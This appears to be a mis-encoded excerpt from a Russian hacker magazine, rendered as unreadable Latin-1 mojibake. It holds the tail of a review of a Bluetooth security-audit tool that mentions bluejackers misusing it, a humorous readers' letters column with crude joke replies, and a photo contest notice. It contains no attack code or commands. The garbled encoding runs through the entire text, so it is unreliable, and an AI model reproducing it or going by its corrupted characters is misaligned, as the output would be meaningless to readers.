äëÿ òîãî, ÷òîáû îïðåäåëèòü àêòèâíîñòü áëèçëåæàùèõ áåñïðîâîäíûõ óñò-
ðîéñòâ, à òàêæå ñïèñîê äîñòóïíûõ ñåðâèñîâ. Ðàçðàáîò÷èêè î÷åíü îòâåò-
ñòâåííî ïîäîøëè ê ðàáîòå íàä ýòîé ïðîãðàììîé. Ñåé÷àñ ñóùåñòâóåò îã-
ðîìíîå êîëè÷åñòâî äûð â ðàçëè÷íûõ òåëåôîíàõ è ÊÏÊ � ìíîãèå èç íèõ
ìû ñîâåðøåííî íàïðàñíî îáõîäèì ñòîðîíîé. Óíèêàëüíîñòü AirMagnet
BlueSweep çàêëþ÷àåòñÿ â òîì, ÷òî àâòîðàì óäàëîñü ñîáðàòü îãðîìíóþ
ïîäáîðêó èíôîðìàöèè ïî óÿçâèìîñòÿì è ðåàëèçîâàòü åå â âèäå ýòîé çà-
ìå÷àòåëüíîé ïðîãðàììû. Äà-äà, AirMagnet BlueSweep îïðåäåëÿåò ïðî-
èçâîäèòåëÿ êîíêðåòíîãî óñòðîéñòâà è ñâîèìè ñðåäñòâàìè îñóùåñòâëÿåò
àóäèò áåçîïàñíîñòè.
Êîíå÷íî, öåëü àâòîðîâ � ïîêàçàòü ïîëüçîâàòåëÿì, íàñêîëüêî çàùèùå-
íû èõ Bluetooth-óñòðîéñòâà. Íî êîãî ýòî âîëíóåò? Çàïàäíûå áëþäæåêå-
ðû äàâíî ïðèñïîñîáèëè ýòîò èíñòðóìåíò äëÿ ñâîèõ öåëåé, ïîäêðåïëÿÿ
îò÷åòû îá àòàêàõ ïðèâàòíûìè ôîòêàìè è çàïèñíûìè êíèæêàìè ãîëëèâó-
äñêèõ çíàìåíèòîñòåé
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From: Kinibaev Rusia [kinibaev@mail.ru]
Subj: Ïðèâåò âñåì Õàêåðàì æóðíàëà!!!
Ïèøó ÿ âàì èç-çà îò÷àÿíüÿ. Ó ìåíÿ âîò êàêàÿ ïðîáëåìà
ÿ íå ìîãó âûëåçòè íà âàø ñàéò è åùå íà íåñêîëüêî äðó-
ãèõ ñàéòîâ ìíå âñåãäà ïèøåò: Bad Request (Invalid
Hostname). ×òî Äåëàòü?  Ïîäñêàæèòå. Çàðàíèå ñïàñèáî.
Re: Ïðèâåò, Ðîññèÿ! Âûõîä îäèí � ïðèìè ðàç â äåíü ëî-
ðàòàäèí. Òüôó, íå òî. ß õîòåë ñêàçàòü, ÷òî âûõîä è
äåéñòâèòåëüíî îäèí � ïàíèêîâàòü. Íî åñëè òû íå õî÷åøü
òðàòèòü ñâîè íåðâíûå êëåòêè, ïëà÷à îêîëî êîìïüþòåðà,
âûðûâàÿ íà ñåáå âîëîñû è ïîñûïàÿ ãîëîâó ïåïëîì, ðàçã-
ëÿäûâàÿ çëîïîëó÷íóþ íàäïèñü Bad Request, òî îòäîõíè.
Ðàññëàáüñÿ. Ïî÷óâñòâóé ñåáÿ íà áåðåãó òåïëîãî-òåïëîãî
ìîðÿ. Âîëíà ïðèÿòíî íàêàòûâàåò, îìûâàÿ òâîè íîãè. Òû
÷óâñòâóåøü ñåáÿ ñïîêîéíî. Ñïîêîéíî è òåïëî. Åùå ñïî-
êîéíåå. Íà íåáå ñâåòèò ñîëíûøêî. Òåïëîå, íî íå æàð-
êîå. Â ïðîçðà÷íîé ìîðñêîé âîäå ïëåùóòñÿ ìàëåíüêèå
ðàçíîöâåòíûå ðûáêè. Ìÿãêèé ïåñî÷åê êðàñèâî ðàññåè-
âàåò ñîëíå÷íûé ñâåò. Òû ÷óâñòâóåøü ñåáÿ ñïîêîéíî.
Ñïîêîéíî è òåïëî. Òû çàêðûâàåøü ãëàçà è äðåìëåøü.
Òû íå çàìå÷àåøü, êàê èç ìîðÿ ïîäíèìàþòñÿ ãèãàíòñêèå
ðàäèîàêòèâíûå êðàáû è ìàëåíüêèå ðîãàòûå æèâîãëîòû.
Îíè ïîäïîëçàþò âñå áëèæå è áëèæå, õâàòàþò òåáÿ çà íî-
ãè, âïèâàþòñÿ ãèãàíòñêèìè ÿäîâèòûìè æâàëàìè, òû êðè-
÷èøü è�ïðîñûïàåøüñÿ. Ïåðåä òîáîé êîìïüþòåð, à íà
åãî ýêðàíå ñâåòèòñÿ îêîøêî áðàóçåðà ñ ñàéòîì Õàêåð.ðó.
Ðàáîòàþùèì. Ýòî áûë âñåãî ëèøü ñîí�
From: synethetics@gala.net
Subj: Êðåàòèôô
Ïðèâåò ðåäàêöèÿ ìîåãî ëþáèìîãî æóðíàëà! Âñå âû
ïðîñòî ñóïåð!!! ÂÑÅ áåç 
èñêëþ÷åíèÿ. Æóðíàë ñàìûé ëó÷øèé! Â ýòîì ñîì-
íåíüÿ íåò! Ìíå î÷åíü íðàâèòñÿ 
ðóáðèêà êðåàòèôô, îñîáåííî ðàññêàçû îò niro, 
ÿ òóò ïîääàëñÿ âëå÷åíèþ... 
è íàïèñàë ñâîé ðàññêàç, ïîæàëóñòà ïðî÷èòàéòå 
è ñêàæåòå ÷òî äóìàåòå... 
ÿ íå ïðåòåíäóþ ÷òî áû îí áûë â êðåàòèâå, ïðîñòî
ïðî÷òèòå è ñêàæèòå ñâîè ìûñëè äëÿ 
ìåíÿ ýòî î÷åíü âàæíî!
Âñåì Ïîêà! Âû ëó÷øèå! ][akep i love you.
Re: Çäîðîâî, ñèíòåòè÷åñêèé ìóæ÷èíà! Òû òîæå ïðîñ-
òî ñóïåð. Ïðîñòî ñóïåðìåí, ïðÿìî ñêàæåì! Ïðè÷åì
ñóïåðìåí íå ïîòîìó, ÷òî òîæå ñèíòåòè÷åñêèé è òîæå
íîñèøü òðóñû ïîâåðõ øòàíîâ, à ïîòîìó, ÷òî òû ñóïåð-
ãåðîéñêè íåâíèìàòåëåí ê òàêèì ìåëî÷àì, êàê àâòîðû
ëèòåðàòóðíûõ ïðîèçâåäåíèé. Íàïðèìåð, Íèðî íèêîã-
äà íå áûë ïàäîíêîì è íå ïèñàë êðåàòèâû. Îí ïèøåò
Ñòîðè, ïðè÷åì â Ñïåö. Êðåàòèâû îáû÷íî ïèøåò
Ìàéíäâîðê, ïðè÷åì â Õàêåð. Òû ïèøåøü â Õàêåð.
Ñåé÷àñ ÿ ïîñòàðàþñü îñèëèòü òâîé êðåàòèâ ïîë-
íîñòüþ, íî ïîêà íè÷åãî íå îáåùàþ, ïîñêîëüêó ïðî-
ëèñòàë åãî ïî äèàãîíàëè. Îôîðìèë òû åãî êðàñèâî :).
From: 121221 [niCKolaLAP@mail.ru]
Subj: ***PLEASE!!
Äîðîãàÿ è âñåìè óâàæàåìàÿ ðåäàêöèÿ æóðíàëà Õàêåð,
ïèøó ÿ âàì îò íå÷åãî  
äåëàòü, ïîòîìó ÷òî êàêàÿ-òî ñ**à îïÿòü ïðèêàëûâà-
ëàñü ñ ëèôòîì(óðîäû:)).  
Ïðîøó ÿ âàñ íå çàáûòü î ìîåì äåáèëüíîì ïèñüìèø-
êå, â êîòîðîì ÿ õî÷ó  
ïîïðîñèòü âàñ ïåðåäàòü ïðèâåò íàøåìó ÄÎÐÎÃÎ-

ÌÓ... ëèôòåðó, âåäü åìó óæå òàê  ìàëî îñòàëîñü...
P.S. Íå ïåðåäàäèòå ïðèäåòñÿ âå÷íî çäåñü ñèäåòü!
Re: Ïðèâåò, Íèêîëàñ! Ìîæåò áûòü, òåáÿ óæå íåò ñ íà-
ìè, à òâîå òåëî óæå èñòëåëî è ïîõîðîíåíî â òîì äàëå-
êîì ëèôòå íà êðàþ Ãàëàêòèêè, íî âñå æå ÿ ïîñòàðàþñü
îò÷èòàòüñÿ ïî ïðîäåëàííîé ðàáîòå. Èòàê, ìû ïðèêóïè-
ëè ó ñïàìåðîâ «áàçó ëèôòåðîâ Ðîññèè» è îòôîðâàð-
äèëè èì ïî ñòî ðàç. Îòâåò ïðèøåë òîëüêî îò ãëàâíîãî
ëèô÷èêîâåäà æóðíàëà «Õóëèãàí». Îí íè÷åì íå ìîæåò
òåáå ïîìî÷ü, åãî ñïåöèàëèçàöèÿ � æåíñêèé ïîë.
From: Sir.Andre [sir.andre@mail.ru]
Subj: òåõíîëîãèÿ «Áåñïëàòíûé Èíòåðíåò»
Çäîðîâà õàöêåðû! Ïóòåøåñòâóÿ ïî èíòåðíåòó ÿ ÷àñòî
âñòðå÷àë ïðåäëîæåíèÿ êóïèòü íåêóþ òåõíîëîãèþ «Áåñï-
ëàòíîãî Èíòåðíåòà». ×òî ýòî çà òåõíîëîãèÿ òàêàÿ, ÷òî îíà
èç ñåáÿ ïðåäñòàâëÿåò è ñóùåñòâóåò ëè îíà âîîáùå?
Re: Äà, ñóùåñòâóåò è äîâîëüíî äàâíî. Êîãäà ìû áûëè
ìîëîäûìè, äåðåâüÿ � áîëüøèìè, ñîëíöå � áîëåå æàð-
êèì è âñõîäèëî ñ äðóãîé ñòîðîíû, â ìèðå öàðñòâîâàëè
286-å êîìïüþòåðû. Âåðíåå, îíè äàæå áûëè ðîñêîøüþ.
À âîò Èíòåðíåò ìåñòàìè áûë è äîâîëüíî-òàêè äîðîãîé.
Òîãäà íàðîä àêòèâíî âïàðèâàë äðóã äðóãó íåêèé ôàéë
inetcrack.com. Åãî çàïóñêàëè, íî îí âûäàâàë êàêóþ-òî
îøèáêó, âñå ãëþ÷èëî, à áîëüøàÿ ÷àñòü äàííûõ íà äèñ-
êå îêàçûâàëàñü óíè÷òîæåííîé. Ýòî ñèëüíî óäèâëÿëî
ïîëüçîâàòåëåé è îíè, ñæèìàÿ â ïîòíûõ ðó÷êàõ äèñêåòó
ñ êðýêåðîì Èíòåðíåòà, áåæàëè òåñòèòü åãî ê äðóçüÿì.
Èñòîðèÿ ïîâòîðÿëàñü. Øëî âðåìÿ, à Òåõíîëîãèÿ Áåñï-
ëàòíîãî Èíòåðíåòà âñå ñîâåðøåíñòâîâàëàñü. Òåïåðü
ýòà ïðîãà ãëþ÷èëà ìåíüøå, äàííûå íà äèñêå íå ïîðòè-
ëèñü, íî âîò ïîñëå äëèòåëüíîãî ïðîöåññà «êðýêà» ïðîã-
ðàììà-òàêè âûëåòàëà. Òî ëè abnormal program termina-
tion, òî ëè seek error on drive c, òî ëè ïðîñòî dll êàêîé-òî
íå õâàòàëî. Áîëåå òîãî, ïî ñòðàííîìó ñòå÷åíèþ îáñòîÿ-
òåëüñòâ ó þçåðà, æåëàþùåãî ñäåëàòü ñâîé èíåò áåñï-
ëàòíûì, íà÷èíàëè îáðàçîâûâàòüñÿ áîëüøèå ñ÷åòà çà
èñõîäÿùèé òðàôèê, à ñî âðåìåíåì åãî âîîáùå îòðóáà-
ëè îò ïðîâàéäåðà çà ðàñïðîñòðàíåíèå òî ëè âèðóñîâ, òî
ëè ñïàìà, òî ëè çà ó÷àñòèå â DDoS-àòàêàõ. Ñòðàííî. 
Â îáùåì, ÷òî ÿ õî÷ó ñêàçàòü? Íåñîâåðøåííàÿ ýòà òåõ-
íîëîãèÿ, îõ íåñîâåðøåííàÿ. Íî ïðîãðåññ íå ñòîèò íà
ìåñòå, òàê ÷òî ñìåëî ïîêóïàé è òåñòèðóé ýòó ïîñòîÿííî
ðàçâèâàþùóþñÿ òåõíîëîãèþ.
From: AssaultRifle & Scr1pt_ [xacker@gmail.ru]
Subj: ***õäå ÕÓÌ?!!!!!
Hi-óøêè, õàêåðû! Ïèøóò âàì 2 åäèíîìûøëåííèêà
AssaultRifle è Scr1pt_
Ïèñåö êàê îãîð÷àåòå!!! Ìû, òèïà, ïîäïèñàëèñü íà "Õà-
êåð", äûê â÷åðà ïàëó÷èëè æóðíàë íàø ëþáèìûé � 
à òàì... ÕÓÌÎÐÀ ÍÅÒ! Ýòà ø [censored] êàêîé-òî �
"Õàêåð" è áåç õóìîðà! Ýòà ôñå ðàâíî, êàê åñëè áû
ïðèøëà ãîëàÿ Ïàìåëëà Àíäåðñîí è ïàïðàñèëà áû åå
æÎñòêî ïàèìåòü � à âû áû ñêàçàëè íåò! Ìû â ïîëíîì
øîêå ïà ýòîìó ïîâîäó � íà 2 ìèíóòû äàæå â îô-
ôëàéí ñâàëèëè � à ýòî ø [censored] êàêàÿ òðàãåäèÿ!!!
Çà÷åì íàì æóðíàë, åñëè â íåì õóìîðà íåò?!! Ìû äó-
ìàåì � ëàäíà � ïà÷èòàåì e-mail. Äûê äàæå ìåññàãè
ïåñåö êàêèå íå òóïûå � íåóæåëè ÷èòàòåëè Õàêåðà
òàê ïàóìíåëè?
ÇÛ: ÂÅÐÍÈÒÅ ÄÀÍÞ ØÀÏÎÂÀËÀ!!
ÇÇÛ (from AssaultRifle): à çà ïëàêàò ñ ôðþøíûì ÷åðòîì
ïàñèáà :) Ïðàâäà ìíå Scr1pt_ îáåùàë ëþëåé íàêèíóòü
çà òî, ÷òî ó ìåíÿ òàêîé åñòü � à ó íåãî íåò :P
--
ÍÈÁÀËÅÉÒÅ,
Re: Ïðèâåò, òîâàðèùè àëêîãîëèêè-íåêðîôèëû, òó-
íåÿäöû, õóëèãàíû è äðóãàíû ÀññàóëòÐàéôë è
Ñêðèïò! Áîëüøå âñåãî íà ñâåòå ÿ ëþáëþ ÷èòàòü âîò
òàêèå, èñêðåííå ïðîíèêíóòûå äóõîì êîíîïëè, âîäêè,
ïèâà «æèãóëåâñêîå ìîñêîâñêîå», ïîðòâåéíà «Òðè
Òîïîðà» è õëåáà ñ ìàéîíåçîì, ïèñüìà. Ñðàçó âèäíî,
÷òî ëþäè ïèøóò ñ äóøîé. Òàê âîò. Íó íåò õóìîðà, íó
è ÷òî? ×òî âàì ìåøàåò ïîðæàòü íàä êîäèíãîì? Íåò-
íåò, ÿ íå ïðåäëàãàþ Âàì ðàñøèðÿòü ñîçíàíèå äàëü-
øå, ÷åì ýòî óæå ñäåëàíî. Ïðîñòî îí òîæå ïîëîí
ñìåøíûõ ñëîâ. Äàìï, ñåãìåíò, ñìåùåíèå, îòëàä-
÷èê�ïðèêîëèñü, Áèâèñ? ß ñêàçàë «îòëàä÷èê»!

e-mail
_units
ÂÐÀ×-ÒÅÐÀÏÅÂÒ
Âñêðûòèå ïèñåì ïðîâåë 
Dr.Klouniz (magazine@real.xakep.ru)
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From: Êèðèëë Êóðòîô [kurtof@rambler.ru]
Subj: ÆÀËÎÁÀ
Ïîêóïàÿ âàø æóðíàë, ÿ äóìàë â íåì êó÷à ãîëûõ áàá 
è ïðîãðàììà òåëåïåðåäà÷ íà íåäåëþ, à êîãäà îòê-
ðûë, òàì êàêàÿ òî õðåíü ïðî êîìïüþòåðû! Íå ìîãëè
áû âû áîëüøå òàêèõ îáëîæåê íå äåëàòü, ñ áàáàìè è
òåëåâèçîðàìè! Êàêîé-íèáóäü ìîíèòîð òàì íàðèñóéòå
÷òî ëè... èëè ïðîãðàììó ÒÂ ïîáëèêóéòå. È âîîáùå, 
ÿ åãî òàê, ïîëèñòàë, õðåíü ïîëíàÿ !
×òî-íèáóäü ñëîìàòü òî ìîæíî, ïðî÷èòàâ âàø æóðíàë?
Ó ìåíÿ ïîëó÷èëîñü ñëîìàòü, òîëüêî òîò äèñê, 
êîòîðûé áûë â êîìïëåêòå 
! À ìîæíî êàê-íèáóäü ïîìåíÿòü æóðíàë 
(ïðàâäà áåç äèñêà) íà äåíüãè, õîòÿ áû â ïîë öåíû? 
À òî ó ìåíÿ òóò ôèíàíñû ïîþò ðîìàíñû.

Re: Ïðîñòè íàñ, åñëè ñìîæåøü! Äåëî â òîì, äÿäÿ,
÷òî ìû óäàðèëèñü â ÷åðíûé ïèàð. Ñåãîäíÿ ìû îõ-
âàòûâàåì àóäèòîðèþ êîìïüþòåðùèêîâ, çàâòðà �
îçàáî÷åííûõ ëþáèòåëåé ãîëûõ áàá è òåëåâèçîðîâ,
ïîñëåçàâòðà � ñêðóááåðùèêîâ-íàñîñ÷èêîâ, ÷åðåç
äâà äíÿ � îïåðàòîðîâ ìàøèííîãî äîåíèÿ è âûñî-
êîãî äàâëåíèÿ. Õîòÿ ñòîï. Ñåãîäíÿ æå  âîëøåáíûé
ïðàçäíèê � Íîâûé ãîä, è äîáðûé äåäóøêà Ëîçî-
âñêèé äîëæåí èñïîëíèòü òâîè æåëàíèÿ. Áóäåì
ñ÷èòàòü, ÷òî òû õîðîøî âåë ñåáÿ â ýòîì ãîäó. Âêó-
øàé, ÷àäî! Ñïåöèàëüíî äëÿ òåáÿ � ïðîãðàììà òå-
ëåïåðåäà÷ `74 è ãîëàÿ áàáà. Now. Íàñëàæäàéñÿ.  

19:50 Ïåñíÿ ãîäà
21:00 Ãîëóáîé îãîíåê
21:30 Â ìèðå æèâîòíûõ
22:30 Ðåòðîøëÿãåð
23:40 Êëóá ïóòåøåñòâåííèêîâ [X
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Âñå î÷åíü ïðîñòî! Äåíüãè ìîæåò ïîëó÷èòü ëþáîé! Áåç îáìàíà, óæå ñ ÍÄÑ è ÍÑÏ, áåç íàëîãà
íà ïðèáûëü, ñ ðàçðåøåíèåì ó÷àñòâîâàòü â èãðå âñåé ñåìüå, áåç îãðàíè÷åíèé ïî âîçðàñòó.
Âñå ÷òî îò òåáÿ òðåáóåòñÿ � èçîáðàçèòü ëîãîòèï Õàêåðà íà ëþáîé ïîâåðõíîñòè, 
îò ñîáñòâåííîãî ëáà äî êðûøè Ïåíòàãîíà :).*

Îáÿçàòåëüíî ñäåëàòü ôîòêó ñâîåãî øåäåâðà, è ïðèñëàòü åå íàì â õîðîøåì êà÷åñòâå 
(íå ìåíåå 1024õ768). Íàøè ìåãà-äèçàéíåðû âëåãêóþ ïðîáüþò ôîòîìîíòàæè, ò.÷. äàæå íå ïàðüòåñü 
íàñ ïîèìåòü :). Àêöèÿ íà÷èíàåòñÿ ïðÿìî ñåé÷àñ, òâîðè è ôîòêàé. Ñâîè ôîòêè ïðèñûëàé íà
30000@real.xakep.ru.

*Àõòóíã! Ýòè äâà âàðèàíòà óæå èñïîëíåíû íàìè è â êîíêóðñå íå ó÷àñòâóþò. 
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